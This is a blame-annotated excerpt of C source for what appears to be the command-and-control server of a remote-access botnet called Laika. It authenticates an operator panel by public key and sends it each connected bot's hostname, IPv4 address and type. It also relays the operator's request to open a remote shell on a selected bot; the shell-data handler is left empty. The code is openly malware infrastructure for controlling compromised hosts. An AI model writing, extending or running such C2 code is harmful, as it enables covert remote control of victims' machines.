2022-02-13 00:21:59 +00:00
|
|
|
#include "lerror.h"
|
|
|
|
#include "cnc.h"
|
|
|
|
#include "cpanel.h"
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
|
|
|
|
struct sLaika_peer *authPeer = (struct sLaika_peer*)uData;
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
/* make sure we're not sending connection information to themselves */
|
|
|
|
if (peer != authPeer) {
|
|
|
|
LAIKA_DEBUG("sending peer info %p to auth %p)\n", peer, authPeer);
|
|
|
|
laikaC_sendNewPeer(authPeer, peer);
|
2022-02-14 05:55:30 +00:00
|
|
|
}
|
2022-02-13 00:21:59 +00:00
|
|
|
|
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
|
|
|
|
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-15 22:57:21 +00:00
|
|
|
/* write the peer's info */
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
|
|
|
|
laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
|
|
|
|
laikaS_write(&authPeer->sock, peer->ipv4, LAIKA_IPV4_LEN);
|
|
|
|
laikaS_writeByte(&authPeer->sock, peer->type);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_endOutPacket(authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
|
|
|
|
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-15 22:57:21 +00:00
|
|
|
/* write the peer's pubkey */
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
|
|
|
|
laikaS_writeByte(&authPeer->sock, peer->type);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_endOutPacket(authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
/* ============================================[[ Packet Handlers ]]============================================= */
|
|
|
|
|
|
|
|
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
|
|
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
|
|
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
|
|
|
authPeer->type = laikaS_readByte(&authPeer->sock);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
switch (authPeer->type) {
|
|
|
|
case PEER_AUTH:
|
2022-02-13 00:21:59 +00:00
|
|
|
/* check that peer's pubkey is authenticated */
|
2022-02-28 22:27:55 +00:00
|
|
|
if (sodium_memcmp(authPeer->peerPub, cnc->pub, sizeof(cnc->pub)) != 0)
|
2022-02-13 00:21:59 +00:00
|
|
|
LAIKA_ERROR("unauthorized panel!\n");
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
/* notify cnc */
|
|
|
|
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
|
|
|
|
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
|
|
|
/* they passed! send list of our peers */
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaC_iterPeers(cnc, sendPanelPeerIter, (void*)authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
break;
|
|
|
|
default:
|
2022-02-28 22:27:55 +00:00
|
|
|
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
2022-02-28 22:27:55 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
|
|
|
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
|
|
|
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
|
|
|
|
struct sLaika_cnc *cnc = aInfo->info.cnc;
|
|
|
|
struct sLaika_peer *peer;
|
|
|
|
|
|
|
|
/* read pubkey & find peer */
|
|
|
|
laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
|
|
|
|
if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
|
|
|
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n");
|
|
|
|
|
|
|
|
aInfo->shellBot = peer;
|
|
|
|
|
|
|
|
/* forward the request to open a shell */
|
|
|
|
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_OPEN);
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
|
|
|
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|